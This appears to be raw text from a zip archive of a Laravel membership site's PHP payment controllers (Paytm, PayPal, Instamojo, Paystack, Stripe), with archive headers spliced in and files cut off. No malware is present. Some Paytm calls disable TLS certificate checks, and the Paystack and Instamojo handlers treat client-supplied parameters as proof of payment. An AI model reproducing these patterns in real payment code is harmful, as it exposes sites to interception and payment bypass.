generateSalt_e($length) { $random = ""; srand((float)microtime() * 1000000); $data = "AbcDE123IJKLMN67QRSTUVWXYZ"; $data .= "aBCdefghijklmn123opq45rs67tuv89wxyz"; $data .= "0FGH45OP89"; for ($i = 0; $i < $length; $i++) { $random .= substr($data, (rand() % (strlen($data))), 1); } return $random; } function checkString_e($value) { if ($value == 'null') $value = ''; return $value; } function getChecksumFromArray($arrayList, $key, $sort = 1) { if ($sort != 0) { ksort($arrayList); } $str = getArray2Str($arrayList); $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function getChecksumFromString($str, $key) { $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function verifychecksum_e($arrayList, $key, $checksumvalue) { $arrayList = removeCheckSumParam($arrayList); ksort($arrayList); $str = getArray2StrForVerify($arrayList); $paytm_hash = decrypt_e($checksumvalue, $key); $salt = substr($paytm_hash, -4); $finalString = $str . "|" . $salt; $website_hash = hash("sha256", $finalString); $website_hash .= $salt; $validFlag = "FALSE"; if ($website_hash == $paytm_hash) { $validFlag = "TRUE"; } else { $validFlag = "FALSE"; } return $validFlag; } function verifychecksum_eFromStr($str, $key, $checksumvalue) { $paytm_hash = decrypt_e($checksumvalue, $key); $salt = substr($paytm_hash, -4); $finalString = $str . "|" . $salt; $website_hash = hash("sha256", $finalString); $website_hash .= $salt; $validFlag = "FALSE"; if ($website_hash == $paytm_hash) { $validFlag = "TRUE"; } else { $validFlag = "FALSE"; } return $validFlag; } function getArray2Str($arrayList) { $findme = 'REFUND'; $findmepipe = '|'; $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { $pos = strpos($value, $findme); $pospipe = strpos($value, $findmepipe); if ($pos !== false || $pospipe !== false) { continue; } if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function getArray2StrForVerify($arrayList) { $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function redirect2PG($paramList, $key) { $hashString = getchecksumFromArray($paramList, $key); $checksum = encrypt_e($hashString, $key); } function removeCheckSumParam($arrayList) { if (isset($arrayList["CHECKSUMHASH"])) { unset($arrayList["CHECKSUMHASH"]); } return $arrayList; } function getTxnStatus($requestParamList) { return callAPI(PAYTM_STATUS_QUERY_URL, $requestParamList); } function getTxnStatusNew($requestParamList) { return callNewAPI(PAYTM_STATUS_QUERY_NEW_URL, $requestParamList); } function initiateTxnRefund($requestParamList) { $CHECKSUM = getRefundChecksumFromArray($requestParamList, PAYTM_MERCHANT_KEY, 0); $requestParamList["CHECKSUM"] = $CHECKSUM; return callAPI(PAYTM_REFUND_URL, $requestParamList); } function callAPI($apiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData = json_encode($requestParamList); $postData = 'JsonData=' . urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt( $ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($postData) ) ); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse, true); return $responseParamList; } function callNewAPI($apiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData = json_encode($requestParamList); $postData = 'JsonData=' . urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt( $ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($postData) ) ); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse, true); return $responseParamList; } function getRefundChecksumFromArray($arrayList, $key, $sort = 1) { if ($sort != 0) { ksort($arrayList); } $str = getRefundArray2Str($arrayList); $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function getRefundArray2Str($arrayList) { $findmepipe = '|'; $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { $pospipe = strpos($value, $findmepipe); if ($pospipe !== false) { continue; } if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function callRefundAPI($refundApiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData = json_encode($requestParamList); $postData = 'JsonData=' . urlencode($JsonData); $ch = curl_init($refundApiURL); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_URL, $refundApiURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $headers = array(); $headers[] = 'Content-Type: application/json'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $jsonResponse = curl_exec($ch); return json_decode($jsonResponse, true); } } public function paymentStatus(Request $request) { $requestData = Session::get('request'); $bs = Basic::first(); $paymentFor = Session::get('paymentFor'); if ($request["STATUS"] === "TXN_FAILURE") { $paymentFor = Session::get('paymentFor'); session()->flash('warning', $request['RESPMSG']); return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $requestData['package_id']])->withInput($requestData); } elseif ($request['STATUS'] === 'TXN_SUCCESS') { $package = Package::find($requestData['package_id']); $transaction_id = VendorPermissionHelper::uniqidReal(8); $transaction_details = json_encode($request); if ($paymentFor == "membership") { $amount = $requestData['price']; $password = $requestData['password']; $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $vendor->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "membership", $vendor, $password, $amount, "Paypal", $requestData['phone'], $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'discount' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->discount . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'total' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'registrationWithPremiumPackage' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', 'Your payment has been completed.'); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } elseif ($paymentFor == "extend") { $amount = $requestData['price']; $password = uniqid('qrcode'); $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = Membership::where('vendor_id', $vendor->id)->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "extend", $vendor, $password, $amount, $requestData["payment_method"], $vendor->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'membershipExtend' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } } } } PK(\ZX'X'-Http/Controllers/Payment/PaypalController.phpnu[first(); $paydata = $data->convertAutoData(); $paypal_conf = Config::get('paypal'); $paypal_conf['client_id'] = $paydata['client_id']; $paypal_conf['secret'] = $paydata['client_secret']; $paypal_conf['settings']['mode'] = $paydata['sandbox_status'] == 1 ? 'sandbox' : 'live'; $this->_api_context = new ApiContext( new OAuthTokenCredential( $paypal_conf['client_id'], $paypal_conf['secret'] ) ); $this->_api_context->setConfig($paypal_conf['settings']); } public function paymentProcess(Request $request, $_amount, $_title, $_success_url, $_cancel_url) { $title = $_title; $price = $_amount; $price = round($price, 2); $cancel_url = $_cancel_url; $success_url = $_success_url; $payer = new Payer(); $payer->setPaymentMethod('paypal'); $item_1 = new Item(); $item_1->setName($title) /** item name **/ ->setCurrency("USD") ->setQuantity(1) ->setPrice($price); /** unit price **/ $item_list = new ItemList(); $item_list->setItems(array($item_1)); $amount = new Amount(); $amount->setCurrency("USD") ->setTotal($price); $transaction = new Transaction(); $transaction->setAmount($amount) ->setItemList($item_list) ->setDescription($title . ' Via Paypal'); $redirect_urls = new RedirectUrls(); $redirect_urls->setReturnUrl($success_url) /** Specify return URL **/ ->setCancelUrl($cancel_url); $payment = new Payment(); $payment->setIntent('Sale') ->setPayer($payer) ->setRedirectUrls($redirect_urls) ->setTransactions(array($transaction)); try { $payment->create($this->_api_context); } catch (\PayPal\Exception\PPConnectionException $ex) { return redirect()->back()->with('error', $ex->getMessage()); } foreach ($payment->getLinks() as $link) { if ($link->getRel() == 'approval_url') { $redirect_url = $link->getHref(); break; } } Session::put('request', $request->all()); Session::put('amount', $_amount); Session::put('paypal_payment_id', $payment->getId()); if (isset($redirect_url)) { /** redirect to paypal **/ return Redirect::away($redirect_url); } return redirect()->back()->with('error', 'Unknown error occurred'); } public function successPayment(Request $request) { $requestData = Session::get('request'); $bs = Basic::first(); /** Get the payment ID before session clear **/ $payment_id = Session::get('paypal_payment_id'); /** clear the session payment ID **/ $cancel_url = route('membership.paypal.cancel'); if (empty($request['PayerID']) || empty($request['token'])) { return redirect($cancel_url); } $payment = Payment::get($payment_id, $this->_api_context); $execution = new PaymentExecution(); $execution->setPayerId($request['PayerID']); /**Execute the payment **/ $result = $payment->execute($execution, $this->_api_context); if ($result->getState() == 'approved') { $paymentFor = Session::get('paymentFor'); $response = json_decode($payment, true); $package = Package::find($requestData['package_id']); $transaction_id = VendorPermissionHelper::uniqidReal(8); $transaction_details = $payment; if ($paymentFor == "membership") { $amount = $requestData['price']; $password = $requestData['password']; $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $vendor->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "membership", $vendor, $password, $amount, "Paypal", $requestData['phone'], $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'discount' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->discount . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'total' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'registrationWithPremiumPackage' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', 'Your payment has been completed.'); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } elseif ($paymentFor == "extend") { $amount = $requestData['price']; $password = uniqid('qrcode'); $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = Membership::where('vendor_id', $vendor->id)->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "extend", $vendor, $password, $amount, $requestData["payment_method"], $vendor->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'membershipExtend' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } } return redirect($cancel_url); } public function cancelPayment() { $requestData = Session::get('request'); $paymentFor = Session::get('paymentFor'); session()->flash('warning', __('cancel_payment')); if ($paymentFor == "membership") { return redirect()->route('front.register.view', ['status' => $requestData['package_type'], 'id' => $requestData['package_id']])->withInput($requestData); } else { return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $requestData['package_id']])->withInput($requestData); } } } PK(\˷0Http/Controllers/Payment/InstamojoController.phpnu[first(); $paydata = $data->convertAutoData(); $cancel_url = $_cancel_url; $notify_url = $_success_url; if ($paydata['sandbox_status'] == 1) { $api = new Instamojo($paydata['key'], $paydata['token'], 'https://test.instamojo.com/api/1.1/'); } else { $api = new Instamojo($paydata['key'], $paydata['token']); } try { $response = $api->paymentRequestCreate(array( "purpose" => $_title, "amount" => $_amount, "send_email" => false, "email" => null, "redirect_url" => $notify_url )); $redirect_url = $response['longurl']; Session::put("request", $request->all()); Session::put('payment_id', $response['id']); Session::put('success_url', $notify_url); Session::put('cancel_url', $cancel_url); return redirect($redirect_url); } catch (Exception $e) { return redirect($cancel_url)->with('error', 'Error: ' . $e->getMessage()); } } public function successPayment(Request $request) { $requestData = Session::get('request'); if (session()->has('lang')) { $currentLang = Language::where('code', session()->get('lang'))->first(); } else { $currentLang = Language::where('is_default', 1)->first(); } $bs = Basic::first(); $success_url = Session::get('success_url'); $cancel_url = Session::get('cancel_url'); /** Get the payment ID before session clear **/ $payment_id = Session::get('payment_id'); if ($request['payment_request_id'] == $payment_id) { $paymentFor = Session::get('paymentFor'); $package = Package::find($requestData['package_id']); $transaction_id = VendorPermissionHelper::uniqidReal(8); $transaction_details = json_encode($request['payment_request_id']); if ($paymentFor == "membership") { $amount = $requestData['price']; $password = $requestData['password']; $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $vendor->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "membership", $vendor, $password, $amount, "Paypal", $requestData['phone'], $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'discount' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->discount . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'total' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'registrationWithPremiumPackage' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', 'Your payment has been completed.'); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } elseif ($paymentFor == "extend") { $amount = $requestData['price']; $password = uniqid('qrcode'); $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = Membership::where('vendor_id', $vendor->id)->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "extend", $vendor, $password, $amount, $requestData["payment_method"], $vendor->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'membershipExtend' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } } return redirect($cancel_url); } public function cancelPayment() { $requestData = Session::get('request'); $paymentFor = Session::get('paymentFor'); session()->flash('warning', __('cancel_payment')); if ($paymentFor == "membership") { return redirect()->route('front.register.view', ['status' => $requestData['package_type'], 'id' => $requestData['package_id']])->withInput($requestData); } else { return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $requestData['package_id']])->withInput($requestData); } } } PK(\/Http/Controllers/Payment/PaystackController.phpnu[first(); $paydata = $data->convertAutoData(); $secret_key = $paydata['key']; $curl = curl_init(); $callback_url = $_success_url; // url to go to after payment curl_setopt_array($curl, array( CURLOPT_URL => "https://api.paystack.co/transaction/initialize", CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => json_encode([ 'amount' => $_amount, 'email' => $_email, 'callback_url' => $callback_url ]), CURLOPT_HTTPHEADER => [ "authorization: Bearer " . $secret_key, //replace this with your own test key "content-type: application/json", "cache-control: no-cache" ], )); $response = curl_exec($curl); $err = curl_error($curl); if ($err) { return redirect()->back()->with('error', $err); } $tranx = json_decode($response, true); Session::put('request', $request->all()); if (!$tranx['status']) { return redirect()->back()->with("error", $tranx['message']); } return redirect($tranx['data']['authorization_url']); } public function successPayment(Request $request) { $requestData = Session::get('request'); if (session()->has('lang')) { $currentLang = Language::where('code', session()->get('lang'))->first(); } else { $currentLang = Language::where('is_default', 1)->first(); } $be = $currentLang->basic_extended; $bs = $currentLang->basic_setting; if ($request['trxref'] === $request['reference']) { $paymentFor = Session::get('paymentFor'); $package = Package::find($requestData['package_id']); $transaction_id = VendorPermissionHelper::uniqidReal(8); $transaction_details = json_encode($request['trxref']); if ($paymentFor == "membership") { $amount = $requestData['price']; $password = $requestData['password']; $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $vendor->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "membership", $vendor, $password, $amount, "Paypal", $requestData['phone'], $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'discount' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->discount . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'total' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'registrationWithPremiumPackage' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', 'Your payment has been completed.'); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } elseif ($paymentFor == "extend") { $amount = $requestData['price']; $password = uniqid('qrcode'); $checkout = new VendorCheckoutController(); $vendor = $checkout->store($requestData, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = Membership::where('vendor_id', $vendor->id)->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($requestData, "extend", $vendor, $password, $amount, $requestData["payment_method"], $vendor->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'membershipExtend' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } } else { $requestData = Session::get('request'); $paymentFor = Session::get('paymentFor'); session()->flash('warning', __('cancel_payment')); if ($paymentFor == "membership") { return redirect()->route('front.register.view', ['status' => $requestData['package_type'], 'id' => $requestData['package_id']])->withInput($requestData); } else { return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $requestData['package_id']])->withInput($requestData); } } } } PK(\bf&| -Http/Controllers/Payment/StripeController.phpnu[first(); $stripeConf = json_decode($stripe->information, true); Config::set('services.stripe.key', $stripeConf["key"]); Config::set('services.stripe.secret', $stripeConf["secret"]); } public function paymentProcess(Request $request, $_amount, $_title, $_success_url, $_cancel_url) { $title = $_title; $price = $_amount; $price = round($price, 2); $cancel_url = $_cancel_url; Session::put('request', $request->all()); $stripe = Stripe::make(Config::get('services.stripe.secret')); try { $token = $request->stripeToken; if (!isset($token)) { return back()->with('error', 'Token Problem With Your Token.'); } $vendorInfo = VendorInfo::where('vendor_id', $request->vendor_id)->first(); $charge = $stripe->charges()->create([ 'source' => $token, 'currency' => "USD", 'amount' => $price, 'description' => $title, 'receipt_email' => $request->email, 'metadata' => [ 'customer_name' => $vendorInfo != null ? $vendorInfo->name : '', ] ]); if ($charge['status'] == 'succeeded') { $paymentFor = Session::get('paymentFor'); $package = Package::find($request->package_id); $transaction_id = VendorPermissionHelper::uniqidReal(8); $transaction_details = json_encode($charge); $bs = Basic::first(); if ($paymentFor == "membership") { $amount = $request->price; $password = $request->password; $checkout = new VendorCheckoutController(); $user = $checkout->store($request, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $user->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($request, "membership", $user, $password, $amount, "Stripe", $request['phone'], $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $user->email, 'toName' => $user->fname, 'username' => $user->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'discount' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->discount . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'total' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $lastMemb->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'registrationWithPremiumPackage' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', __('successful_payment')); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } elseif ($paymentFor == "extend") { $amount = $request['price']; $password = uniqid('qrcode'); $checkout = new VendorCheckoutController(); $user = $checkout->store($request, $transaction_id, $transaction_details, $amount, $bs, $password); $lastMemb = $user->memberships()->orderBy('id', 'DESC')->first(); $activation = Carbon::parse($lastMemb->start_date); $expire = Carbon::parse($lastMemb->expire_date); $file_name = $this->makeInvoice($request, "extend", $user, $password, $amount, $request["payment_method"], $user->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $transaction_id, $package->title, $lastMemb); $mailer = new MegaMailer(); $data = [ 'toMail' => $user->email, 'toName' => $user->fname, 'username' => $user->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'membership_invoice' => $file_name, 'website_title' => $bs->website_title, 'templateType' => 'package_purchase', 'type' => 'membershipExtend' ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $file_name)); session()->flash('success', 'Your payment has been completed.'); Session::forget('request'); Session::forget('paymentFor'); return redirect()->route('success.page'); } } } catch (Exception $e) { return redirect($cancel_url)->with('error', $e->getMessage()); } catch (\Cartalyst\Stripe\Exception\CardErrorException $e) { return redirect($cancel_url)->with('error', $e->getMessage()); } catch (\Cartalyst\Stripe\Exception\MissingParameterException $e) { return redirect($cancel_url)->with('error', $e->getMessage()); } return redirect($cancel_url)->with('error', 'Please Enter Valid Credit Card Informations.'); } public function cancelPayment() { $requestData = Session::get('request'); $paymentFor = Session::get('paymentFor'); session()->flash('error', 'Payment has been canceled'); if ($paymentFor == "membership") { return redirect()->route('front.register.view', ['status' => $requestData['package_type'], 'id' => $requestData['package_id']])->withInput($requestData); } else { return redirect()->route('vendor.plan.extend.checkout', ['package_id' => $requestData['package_id']])->withInput($requestData); } } } 